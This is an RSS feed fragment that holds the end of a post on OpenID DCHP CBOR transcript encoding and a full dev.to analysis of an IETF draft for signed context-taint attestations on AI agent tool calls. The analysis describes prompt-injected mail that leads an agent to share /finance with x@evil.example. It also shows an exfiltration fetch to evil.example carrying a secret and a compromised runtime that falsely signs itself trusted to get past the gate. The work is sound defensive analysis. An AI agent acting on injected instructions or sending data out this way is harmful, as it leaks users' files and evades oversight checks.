CDDL on main &lt;span class="o"&gt;(&lt;/span&gt;dc_api_origin &lt;span class="o"&gt;=&lt;/span&gt; 7&lt;span class="o"&gt;)&lt;/span&gt;
  ReaderTransactionTranscript: a2015820 68bcbd16...f023438a 02a107 7818 68747470733a2f2f...
  KB-JWT nonce, hex      : 4f75d175bea2d3a3fd3ed287c86ebd11ed35385e830d4aedf40aee47ca21e88c
  KB-JWT nonce, base64url: T3XRdb6i06P9PtKHyG69Ee01OF6DDUrt9AruR8oh6Iw

prose table / PR &lt;span class="c"&gt;#76 (dc_api_origin = 8)&lt;/span&gt;
  ReaderTransactionTranscript: a2015820 68bcbd16...f023438a 02a108 7818 68747470733a2f2f...
  KB-JWT nonce, hex      : 2e6e9cd458b28759c3580ddd89ff802f601c3afabce1c6a6ab6581a1f792d6d5
  KB-JWT nonce, base64url: Lm6c1Fiyh1nDWA3dif-AL2AcOvq84camq2WBofeS1tU

Envelope on main  : a201a102a2016964632b73642d6a777402787065794a6862 ...
Envelope under &lt;span class="c"&gt;#77: a20181a3016964632b73642d6a777402787065794a686247 ...&lt;/span&gt;
payload match: True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(I split and shortened the transcript hex by hand to show the fields; the script prints it whole.)&lt;/p&gt;

&lt;p&gt;The transcripts differ in one byte, &lt;code&gt;07&lt;/code&gt; vs &lt;code&gt;08&lt;/code&gt;, and the nonces share nothing. The request is 405 bytes for two queries with four elements, small enough for a QR-initiated BLE exchange or a DC API call.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;payload match: True&lt;/code&gt; is the check that &lt;code&gt;cbor2&lt;/code&gt;'s canonical mode is the encoding I think it is. &lt;code&gt;check_encoding.py&lt;/code&gt; re-encodes the same payload with a separate 30-line encoder that sorts map keys bytewise per RFC 8949 Section 4.2.1, and the bytes match. In this payload every key is one byte long, so length-first ordering would give the same result. That is exactly why a test like this can pass between two libraries that disagree in general.&lt;/p&gt;

&lt;p&gt;Also note the two nonce encodings. The spec says the nonce is the SHA-256 of the transcript, but a JWT claim is a string, and whether that string is hex, base64url or something else is open (#10). Pick one and you have implemented a guess.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is still open
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Transcript mapping into mdoc &lt;code&gt;SessionTranscript&lt;/code&gt;, the KB-JWT &lt;code&gt;nonce&lt;/code&gt; encoding and &lt;code&gt;aud&lt;/code&gt;: issue &lt;a href="https://github.com/openid/dchp/issues/10" rel="noopener noreferrer"&gt;#10&lt;/a&gt;. The chairs proposed a dedicated transcript call for 16 November 2026, 14:00 UTC. Until this closes, neither format's holder binding can be implemented end to end.&lt;/li&gt;
&lt;li&gt;Prose vs CDDL keys: &lt;a href="https://github.com/openid/dchp/issues/75" rel="noopener noreferrer"&gt;#75&lt;/a&gt; / PR #76 for engagement fields; nothing filed for the BLE transmission fields as far as I can see.&lt;/li&gt;
&lt;li&gt;Deterministic CBOR rule: PR #64.&lt;/li&gt;
&lt;li&gt;Reader key conveyance: PR #65.&lt;/li&gt;
&lt;li&gt;Response shape: PR #77.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;reader&lt;/code&gt; to &lt;code&gt;verifier&lt;/code&gt; naming, including &lt;code&gt;reader_auth&lt;/code&gt; to &lt;code&gt;verifier_auth&lt;/code&gt;: PR &lt;a href="https://github.com/openid/dchp/pull/81" rel="noopener noreferrer"&gt;#81&lt;/a&gt;. Names only, keys unchanged.&lt;/li&gt;
&lt;li&gt;SD-JWT &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;vct&lt;/code&gt; inheritance, non-X.509 SD-JWT issuers, value matching, transaction data: #52, #53, an editor's note, #9, #4.&lt;/li&gt;
&lt;li&gt;Security Considerations: absent. PR &lt;a href="https://github.com/openid/dchp/pull/85" rel="noopener noreferrer"&gt;#85&lt;/a&gt; adds a "To be completed" placeholder so that a WG Draft can be published.&lt;/li&gt;
&lt;li&gt;Publication: a WG Draft -00 (&lt;a href="https://github.com/openid/dchp/issues/72" rel="noopener noreferrer"&gt;#72&lt;/a&gt;) was deferred on 4 November by "approx. 1-2 months". On the ISO side the route is a Publicly Available Specification or a PSDO publication (&lt;a href="https://github.com/openid/dchp/issues/13" rel="noopener noreferrer"&gt;#13&lt;/a&gt;). The &lt;code&gt;Internet-Draft&lt;/code&gt; header in the source is toolchain scaffolding, and a comment in the file says it is "NOT a claim that this is an IETF document".&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  If you are building a wallet or verifier now
&lt;/h2&gt;

&lt;p&gt;The request model is the part I would prototype against: scenarios over queries, CNF over elements, the &lt;code&gt;credential_types&lt;/code&gt; expansion, per-query encryption routing. It is small and the annexes make the mdoc side concrete.&lt;/p&gt;

&lt;p&gt;I would not ship anything that hashes a transcript yet. The &lt;code&gt;ChannelBinding&lt;/code&gt; keys, the HPKE info input, the deterministic encoding rule and the nonce string all have two or more readings on &lt;code&gt;main&lt;/code&gt;, and each one silently changes bytes that the other side computes independently. Record the commit you implement, put both numberings behind a flag, and watch #10 and #76.&lt;/p&gt;

</description>
      <category>identity</category>
      <category>security</category>
      <category>openid</category>
      <category>cbor</category>
    </item>
    <item>
      <title>Signing What Was in the Context Window: draft-durga-wimse-ctx-isolation and Its Self-Reported Taint</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:29:07 +0000</pubDate>
      <link>https://dev.to/kanywst/signing-what-was-in-the-context-window-draft-durga-wimse-ctx-isolation-and-its-self-reported-taint-5fif</link>
      <guid>https://dev.to/kanywst/signing-what-was-in-the-context-window-draft-durga-wimse-ctx-isolation-and-its-self-reported-taint-5fif</guid>
      <description>&lt;p&gt;The example object in Section 3 of draft-durga-wimse-ctx-isolation-00 has five SHA-256 values in it. I hashed short strings until they matched. &lt;code&gt;parent_trace_ref&lt;/code&gt; is &lt;code&gt;sha256("test")&lt;/code&gt;. &lt;code&gt;system_prompt_digest&lt;/code&gt; is &lt;code&gt;sha256("4")&lt;/code&gt;. &lt;code&gt;step_up_receipt_hash&lt;/code&gt; is &lt;code&gt;sha256("2")&lt;/code&gt;. The &lt;code&gt;kid&lt;/code&gt; is &lt;code&gt;sha256("test1")&lt;/code&gt;. And &lt;code&gt;data_plane_merkle_root&lt;/code&gt;, the field that is supposed to commit to everything the agent had read, is &lt;code&gt;sha256("")&lt;/code&gt;: the hash of an empty context, sitting next to &lt;code&gt;"taint_lattice_level": "UNTRUSTED_INGESTED"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That tells you what stage this draft is at. The problem it points at is real, though, and the shape it proposes is one somebody will standardize eventually, so it is worth reading closely now.&lt;/p&gt;

&lt;p&gt;Full notes, interop checklist and open questions: &lt;a href="https://0-draft.github.io/identity-deep-dive/ietf-wimse/deep-dives/draft-durga-wimse-ctx-isolation/" rel="noopener noreferrer"&gt;identity-deep-dive / draft-durga-wimse-ctx-isolation&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gap it names
&lt;/h2&gt;

&lt;p&gt;A workload identity token tells a relying party who is calling. An access token tells it what the caller may do. Neither says anything about what the model had just read when it decided to make the call. An agent with a perfectly valid credential that summarizes an inbox, hits a mail saying "share /finance with someone outside", and then calls &lt;code&gt;files.share&lt;/code&gt; is a confused deputy with a clean token. I wrote about how much such an agent can reach on a laptop in &lt;a href="https://dev.to/kanywst/howbad-what-a-prompt-injected-coding-agent-could-do-with-the-credentials-on-your-machine-49pd"&gt;howbad&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The draft's Section 1 states this directly: neither RFC 8693 token exchange nor WIMSE Workload Identity Tokens carry a cryptographic commitment to the taint of the context window at the moment of tool selection. Its answer is to make the agent declare that taint on every tool call, sign it, and let the server refuse.&lt;/p&gt;

&lt;p&gt;Status, as of 2026-11-15 on Datatracker: revision 00, posted 2026-10-29, five pages, author from Microsoft. The header says "WIMSE / OAuth Working Group" and "Intended status: Standards Track", but Datatracker lists an individual submission with no stream, no WG state and no intended status. The author announced it on the WIMSE list on 2026-11-01 together with a companion, draft-durga-agenttrust-trace-verification-00, and asked for a five-minute lightning slot at IETF 127 if agenda time remained. No replies on the thread when I checked.&lt;/p&gt;

&lt;h2&gt;
  
  
  The object
&lt;/h2&gt;

&lt;p&gt;Here is the Context Taint Attestation (CTA) from Section 3, verbatim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"cta_version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"invocation_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"urn:uuid:7f9c2b10-44a1-49e2-910b-88a12c34e901"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"parent_trace_ref"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"sha256:9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"system_prompt_digest"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"sha256:4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"data_plane_merkle_root"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"taint_lattice_level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"UNTRUSTED_INGESTED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"tool_effect_class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"STATE_MUTATING"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"step_up_receipt_hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"sha256:d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1793404800&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1793404860&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"signature"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Ed25519"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nl"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"sha256:1b4f0e9851971998e732078544c96b36c3d01cedf7caa332359d6f1d83567014"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nl"&gt;"sig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"base64url(Ed25519(JCS(payload)))"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;iat&lt;/code&gt; is 2026-10-31T00:00:00Z and &lt;code&gt;exp&lt;/code&gt; is exactly 60 seconds later. The taint levels come from the IANA request in Section 6: &lt;code&gt;TRUSTED_ONLY&lt;/code&gt;, &lt;code&gt;MIXED_TAINT&lt;/code&gt;, &lt;code&gt;UNTRUSTED_INGESTED&lt;/code&gt;, &lt;code&gt;QUARANTINED&lt;/code&gt;. The effect classes are never enumerated. Only &lt;code&gt;STATE_MUTATING&lt;/code&gt; and &lt;code&gt;PRIVILEGED_ACTUATE&lt;/code&gt; appear anywhere in the text.&lt;/p&gt;

&lt;p&gt;The interesting question for each field is not what it means but whether any rule reads it. Most don't:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-ctx-isolation-taint-attestation%2Fdiagrams%2F02-anatomy.png%3Fv%3Ddf9f79f4" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-ctx-isolation-taint-attestation%2Fdiagrams%2F02-anatomy.png%3Fv%3Ddf9f79f4" alt="Field-by-field anatomy of the CTA: field name, the decoded example value, and which MUST rule in Sections 4 and 5 reads it. Only taint level, effect class, receipt hash, iat/exp and the signature are read by a rule; cta_version, invocation_id, parent_trace_ref, system_prompt_digest and the Merkle root are defined but no rule checks them" width="720" height="719"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;parent_trace_ref&lt;/code&gt; presumably points into the companion draft's trace records, but neither draft says so, and the companion calls its own link field &lt;code&gt;parent_record_hash&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where it travels
&lt;/h2&gt;

&lt;p&gt;Section 3: every control-plane tool invocation "emitted by a conforming agent runtime MUST include" the CTA, either in an &lt;code&gt;Agent-Ctx-Isolation&lt;/code&gt; HTTP header or in a &lt;code&gt;_meta.ctxIsolation&lt;/code&gt; object for JSON-RPC/MCP. It is serialized with JCS (RFC 8785) or deterministic CBOR (RFC 8949).&lt;/p&gt;

&lt;p&gt;The draft has no MCP example. This is what it would look like on a &lt;code&gt;tools/call&lt;/code&gt;, assuming &lt;code&gt;_meta&lt;/code&gt; sits in &lt;code&gt;params&lt;/code&gt; the way MCP already uses it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"jsonrpc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"2.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"tools/call"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"params"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"files.share"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nl"&gt;"arguments"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"/finance"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"with"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"x@evil.example"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nl"&gt;"_meta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nl"&gt;"ctxIsolation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"cta_version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"taint_lattice_level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"UNTRUSTED_INGESTED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"..."&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the HTTP header the draft gives no encoding at all. Raw JCS, base64url of it, or a Structured Field are all plausible, and none of them interoperates with the others, so sender and receiver have to agree out of band. The CTA from my lab is 721 bytes as JCS, so roughly 1 KB per call once encoded.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three rules
&lt;/h2&gt;

&lt;p&gt;Section 4 has three invariants, all applied "before any side effect is released":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;TAINT_LATTICE_MONOTONICITY&lt;/code&gt;: once the runtime "ingests any byte from an unverified external origin", it MUST move the level from &lt;code&gt;TRUSTED_ONLY&lt;/code&gt; to &lt;code&gt;MIXED_TAINT&lt;/code&gt; or &lt;code&gt;UNTRUSTED_INGESTED&lt;/code&gt;, and it stays there "unless a cryptographic context-reset boundary is executed".&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CONFUSED_DEPUTY_FAIL_CLOSED&lt;/code&gt;: if the effect class is &lt;code&gt;STATE_MUTATING&lt;/code&gt; or &lt;code&gt;PRIVILEGED_ACTUATE&lt;/code&gt; and the level is not &lt;code&gt;TRUSTED_ONLY&lt;/code&gt;, the relying party MUST reject with &lt;code&gt;ERR_TAINTED_CONTROL_PLANE&lt;/code&gt; unless "a valid, unexpired step_up_receipt_hash signed by an independent policy decision engine or human verifier is attached".&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CONTEXT_MERKLE_BINDING&lt;/code&gt;: the root MUST be computed over the ordered, JCS-canonicalized chunks of all retrieved documents and tool outputs in the active window.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Section 5 adds: JCS before Ed25519 signing and verification, and fail closed with an auditable rejection receipt on clock skew over 60 seconds, digest mismatch, or a missing cryptographic binding.&lt;/p&gt;

&lt;p&gt;Put together, with everything the draft does not define marked:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-ctx-isolation-taint-attestation%2Fdiagrams%2F01-flow.png%3Fv%3Dd6f139e6" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-ctx-isolation-taint-attestation%2Fdiagrams%2F01-flow.png%3Fv%3Dd6f139e6" alt="Sequence: untrusted mail enters the agent runtime, rule 1 raises the taint level, rule 3 builds the Merkle root, an optional step-up exchange with a policy engine or human (dashed red, no message or receipt format defined), the runtime signs the CTA and sends tools/call with _meta.ctxIsolation, the relying party applies Section 5 checks and rule 2, and either returns ERR_TAINTED_CONTROL_PLANE (no HTTP or JSON-RPC mapping defined) or releases the side effect" width="760" height="688"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice which box holds the signing key. Section 3 has the runtime emit the CTA and names no other signer. The thing that decides the taint level is the thing that signs it.&lt;/p&gt;

&lt;h2&gt;
  
  
  A verifier, built from the text
&lt;/h2&gt;

&lt;p&gt;I wrote a verifier that follows Sections 3 to 5 as literally as I could and marks every gap I had to fill as an assumption: &lt;a href="https://github.com/0-draft/dev.to/blob/main/articles/assets/wimse-ctx-isolation-taint-attestation/lab/cta_lab.py"&gt;cta_lab.py&lt;/a&gt;. Python 3.15, &lt;code&gt;cryptography&lt;/code&gt; 50.0.2.&lt;/p&gt;

&lt;h3&gt;
  
  
  What does &lt;code&gt;JCS(payload)&lt;/code&gt; cover?
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;sig&lt;/code&gt; placeholder is &lt;code&gt;base64url(Ed25519(JCS(payload)))&lt;/code&gt;. "payload" is not defined. I tried the three readings I'd expect people to pick: drop the &lt;code&gt;signature&lt;/code&gt; member, keep &lt;code&gt;signature&lt;/code&gt; with &lt;code&gt;alg&lt;/code&gt; and &lt;code&gt;kid&lt;/code&gt; but no &lt;code&gt;sig&lt;/code&gt;, and keep it with &lt;code&gt;sig: ""&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== 3. signing input variants
  signer \ verifier       strip    alg_kid  empty_sig
  strip                     ok       FAIL       FAIL
  alg_kid                 FAIL         ok       FAIL
  empty_sig               FAIL       FAIL         ok
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three conforming implementations, zero interop. The Abstract makes it worse: it says the profile is COSE_Sign1 plus JCS, and COSE never appears again in the body. A COSE_Sign1 implementation and a JSON-signature implementation share nothing on the wire.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the Merkle tree?
&lt;/h3&gt;

&lt;p&gt;Rule 3 says "ordered" and "JCS-canonicalized chunks". It does not say how leaves are hashed, how odd nodes are handled, or what a chunk is. Same three chunks, two reasonable trees:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== 2. data_plane_merkle_root over the same three chunks
  RFC 6962 style : sha256:a70d2198da5498e6...
  naive          : sha256:8bcc1cf554ffafe5...
  agree          : False
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This matters less than it looks, because the relying party never has the chunks, and rule 2 never reads the root. It is an audit commitment: useful later, if someone logged the chunks, and inert at decision time.&lt;/p&gt;

&lt;h3&gt;
  
  
  What does rule 2 actually decide?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== 4. relying-party decisions (literal reading of Section 4 rule 2)
  TRUSTED_ONLY        STATE_MUTATING      -&amp;gt; ALLOW
  MIXED_TAINT         STATE_MUTATING      -&amp;gt; REJECT ERR_TAINTED_CONTROL_PLANE
  UNTRUSTED_INGESTED  PRIVILEGED_ACTUATE  -&amp;gt; REJECT ERR_TAINTED_CONTROL_PLANE
  QUARANTINED         STATE_MUTATING      -&amp;gt; REJECT ERR_TAINTED_CONTROL_PLANE
  QUARANTINED         READ_ONLY           -&amp;gt; ALLOW
  UNTRUSTED_INGESTED  NETWORK_EGRESS      -&amp;gt; ALLOW
  UNTRUSTED_INGESTED  STATE_MUTATING      -&amp;gt; ALLOW (step-up receipt)  [receipt attached]
  same CTA, 61 s later                    -&amp;gt; REJECT clock skew / expired
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;READ_ONLY&lt;/code&gt; and &lt;code&gt;NETWORK_EGRESS&lt;/code&gt; are my names; the draft defines neither, which is the point. The full matrix:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-ctx-isolation-taint-attestation%2Fdiagrams%2F03-decision.png%3Fv%3D8d456576" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-ctx-isolation-taint-attestation%2Fdiagrams%2F03-decision.png%3Fv%3D8d456576" alt="Decision table for rule 2 without a step-up receipt: rows are taint levels TRUSTED_ONLY, MIXED_TAINT, UNTRUSTED_INGESTED, QUARANTINED and a lying runtime that claims TRUSTED_ONLY; columns are STATE_MUTATING, PRIVILEGED_ACTUATE and any other effect class. Tainted mutating and privileged calls are rejected; every other effect class is allowed at every taint level, including a GET to an attacker URL; the lying runtime row is allowed everywhere because its signature is valid" width="760" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two cells bother me.&lt;/p&gt;

&lt;p&gt;The right column. Rule 2 guards state mutation. Exfiltration doesn't need state mutation: a &lt;code&gt;fetch_url("https://evil.example/?q=&amp;lt;the secret&amp;gt;")&lt;/code&gt; is a read, as far as any effect taxonomy is concerned. In Simon Willison's lethal trifecta (private data, untrusted content, an outbound channel, which I leaned on in &lt;a href="https://dev.to/kanywst/trust-me-bro-reading-an-agent-skill-before-it-reads-your-env-329d"&gt;trust-me-bro&lt;/a&gt;) the CTA can see the second leg and blocks a write, but the third leg passes through any effect class nobody listed.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;QUARANTINED&lt;/code&gt; is registered in Section 6 and used by no rule. It gets rejected for mutating calls only because it isn't &lt;code&gt;TRUSTED_ONLY&lt;/code&gt;, and it means nothing for anything else.&lt;/p&gt;

&lt;h3&gt;
  
  
  The bottom row
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== 5. runtime with the injected mail in context signs TRUSTED_ONLY
  verifier says: ALLOW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the whole design question. The runtime that read the injected mail is the runtime that decides the taint level and holds the key. If it is compromised, buggy, or simply a runtime that never implemented rule 1, it signs &lt;code&gt;TRUSTED_ONLY&lt;/code&gt; and the relying party sees a valid signature. The signature proves who made the claim, not that the claim is true. The Merkle root in my lying CTA is non-empty, which an auditor could notice later if the chunks were kept, but nothing at the gate can.&lt;/p&gt;

&lt;p&gt;So in revision 00 the CTA is a signed self-report. It still has value against one specific failure: an honest runtime with a manipulated model. Taint tracking lives in the harness, not in the model's weights, and an injected instruction can't talk the harness out of having fetched a URL. That is a real improvement over trusting the model. It does nothing about a malicious or vulnerable runtime, and the draft does not say which of the two it is defending against.&lt;/p&gt;

&lt;h3&gt;
  
  
  Smaller things the verifier had to guess
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Which field the 60-second skew is measured on. I used &lt;code&gt;|now - iat|&lt;/code&gt;. If an implementation measures against &lt;code&gt;exp&lt;/code&gt;, a CTA with the example's 60-second lifetime sits on the boundary from birth.&lt;/li&gt;
&lt;li&gt;Replay. The words "replay" and "nonce" do not appear. &lt;code&gt;invocation_id&lt;/code&gt; exists, but nothing says a relying party must remember it, so the same CTA works for 60 seconds.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;kid&lt;/code&gt;. No derivation, no distribution, no binding to a WIMSE identity. I used &lt;code&gt;sha256&lt;/code&gt; of the raw public key, which is a guess.&lt;/li&gt;
&lt;li&gt;The step-up receipt. The CTA carries a hash; Section 6 registers an &lt;code&gt;Agent-Step-Up-Receipt&lt;/code&gt; header; nothing links the two or defines the receipt. My receipt binds to &lt;code&gt;invocation_id&lt;/code&gt;, but even so it doesn't bind to the tool arguments, so an approval for &lt;code&gt;share /q3-deck with alice&lt;/code&gt; also covers &lt;code&gt;share /finance with x@evil.example&lt;/code&gt; under the same invocation id. "Independent" isn't defined either; a receipt signed by the runtime's own key passes unless the verifier knows otherwise.&lt;/li&gt;
&lt;li&gt;No HTTP status or JSON-RPC error code for &lt;code&gt;ERR_TAINTED_CONTROL_PLANE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Section 3 allows deterministic CBOR; Section 5 requires JCS before signing. A CBOR CTA has no defined verification path.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cost isn't the problem. On my laptop: sign 40.8 µs, verify 107.3 µs, averaged over 5000 runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Smaller inconsistencies
&lt;/h2&gt;

&lt;ul&gt;
